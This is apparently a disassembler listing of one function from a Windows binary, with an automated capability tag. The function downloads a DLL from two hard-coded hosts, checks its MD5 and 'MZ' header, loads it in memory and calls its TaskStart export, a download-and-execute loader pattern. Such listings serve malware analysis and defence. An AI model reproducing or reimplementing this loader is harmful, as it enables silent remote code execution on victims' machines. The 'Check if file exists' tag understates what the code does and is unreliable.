Function at 0x41789b
Capabilities:
Check if file exists

Disassembly:
push 0x1ec
mov eax, 0x529181
call fcn.0043bd42
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0x160], esi
mov dword [ebp - 0x164], eax
call fcn.004174b8
xor edi, edi
push edi
push str.http:__downsrf.eastday.com_
mov ecx, esi
mov dword [ebp - 0x168], edi
call fcn.0040ad6c
cmp eax, 0xffffffff
jne 0x4178ef
push edi
push str.http:__down.znyshurufa.com_
mov ecx, esi
call fcn.0040ad6c
cmp eax, 0xffffffff
je 0x4178f9
mov dword [ebp - 0x168], 1
push edi
push str.https:__downsrf.eastday.com_
mov ecx, esi
call fcn.0040ad6c
cmp eax, 0xffffffff
jne 0x41791d
push edi
push str.https:__down.znyshurufa.com_
mov ecx, esi
call fcn.0040ad6c
cmp eax, 0xffffffff
je 0x417927
mov dword [ebp - 0x168], 1
cmp dword [ebp - 0x168], edi
jne 0x41793f
push str.LoadMemDll_Url_Filter_Failed___
call fcn.0040e335
pop ecx
jmp 0x4179f1
push 0xffffffffffffffff
push edi
push dword [ebp - 0x160]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.0040162c
push 0xffffffffffffffff
push edi
push dword [ebp - 0x164]
lea ecx, [ebx + 0x20]
call fcn.0040162c
push esi
lea eax, [ebp - 0x38]
push eax
mov ecx, ebx
call fcn.00417735
mov esi, dword [ebp - 0x164]
mov eax, dword [esi + 0x14]
cmp eax, edi
mov dword [ebp - 4], edi
jbe 0x417b4f
cmp dword [ebp - 0x20], 8
mov eax, dword [ebp - 0x34]
jae 0x41798f
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x417a0a
push dword [ebp - 0x160]
lea eax, [ebp - 0x54]
push eax
call fcn.0040b0b6
sub esp, 0x14
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x164], esp
push eax
mov byte [ebp - 4], 1
call fcn.0040220e
lea eax, [ebp - 0x54]
push eax
mov ecx, ebx
call fcn.00417221
test al, al
jne 0x4179fb
push str.DownDllToLocal_1_dll_file_Failed___
call fcn.0040e335
pop ecx
push edi
push 1
lea ecx, [ebp - 0x54]
call fcn.004013e5
push edi
push 1
lea ecx, [ebp - 0x38]
call fcn.004013e5
xor al, al
call fcn.0043bdc5
ret 8
push edi
push 1
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0
call fcn.004013e5
push esi
sub esp, 0x1c
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x164], esp
push eax
call fcn.0040220e
mov ecx, ebx
call fcn.00417814
test al, al
jne 0x417aa3
push dword [ebp - 0x160]
lea eax, [ebp - 0x54]
push eax
call fcn.0040b0b6
sub esp, 0x14
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x164], esp
push eax
mov byte [ebp - 4], 2
call fcn.0040220e
lea eax, [ebp - 0x54]
push eax
mov ecx, ebx
call fcn.00417221
test al, al
jne 0x417a6a
push str.DownDllToLocal_2_dll_file_Failed___
jmp 0x4179d5
push esi
sub esp, 0x1c
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x164], esp
push eax
call fcn.0040220e
mov ecx, ebx
call fcn.00417814
test al, al
jne 0x417a94
push str.CheckFileMD5_file_Failed___
jmp 0x4179d5
push edi
push 1
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0
call fcn.004013e5
cmp dword [ebp - 0x20], 8
mov eax, dword [ebp - 0x34]
jae 0x417aaf
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x417b4f
cmp dword [ebp - 0x20], 8
mov eax, dword [ebp - 0x34]
jae 0x417aca
lea eax, [ebp - 0x34]
push 1
push 0x40
push 0x25
push eax
lea ecx, [ebp - 0x1f8]
call fcn.004165b6
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 3
call fcn.00415b3d
mov esi, dword [eax + 8]
add esi, dword [eax]
lea eax, [esi + 0xa]
push eax
mov dword [ebp - 0x160], esi
call fcn.0041b8d2
lea ecx, [esi + 1]
push ecx
push edi
push eax
mov dword [ebx + 0x4c], eax
call fcn.0043c2f0
add esp, 0x10
push edi
push edi
lea ecx, [ebp - 0x1f8]
call fcn.00416386
mov eax, dword [ebx + 0x4c]
push esi
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x1f8]
call fcn.0040de21
lea ecx, [ebp - 0x1f8]
call fcn.0040dc7e
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0
call fcn.0041636c
jmp 0x417b72
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x164], esp
push dword [ebp - 0x160]
call fcn.00401753
mov ecx, ebx
call fcn.00417363
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], edi
je 0x4179e6
mov esi, 0x52f2d0
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x15c]
push eax
movsb byte es:[edi], byte [esi]
call fcn.004150aa
push 8
xor edi, edi
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.0043c2f0
mov eax, dword [ebx + 0x4c]
mov esi, dword [ebp - 0x160]
push esi
push eax
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.00415a5b
add esp, 0x24
lea eax, [ebp - 0x16c]
push eax
mov eax, dword [ebx + 0x4c]
add esi, 0xfffffff4
push esi
add eax, 0xc
push eax
call fcn.0050a000
cmp eax, edi
je 0x4179e6
cmp byte [eax], 0x4d
je 0x417bf0
cmp byte [eax + 1], 0x5a
jne 0x4179e6
push eax
call fcn.00416a2c
cmp eax, edi
pop ecx
mov dword [ebx], eax
je 0x417c51
push str.TaskStart
push eax
call fcn.00416926
push str.TaskFree
push dword [ebx]
mov dword [ebx + 0x3c], eax
call fcn.00416926
push str.SetService
push dword [ebx]
mov dword [ebx + 0x40], eax
call fcn.00416926
push str.SetParameter
push dword [ebx]
mov dword [ebx + 0x44], eax
call fcn.00416926
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x3c]
add esp, 0x20
cmp eax, edi
je 0x417c63
cmp dword [ebx + 0x40], edi
je 0x417c63
mov ecx, ebx
call fcn.004171df
call dword [ebx + 0x3c]
push edi
push 1
lea ecx, [ebp - 0x38]
call fcn.004013e5
mov al, 1
jmp 0x4179f3
push dword [ebx + 0x40]
push eax
push str.FreeMemDll_taskStart___X
call fcn.0040e335
add esp, 0xc
mov ecx, ebx
call fcn.004174b8
jmp 0x4179e6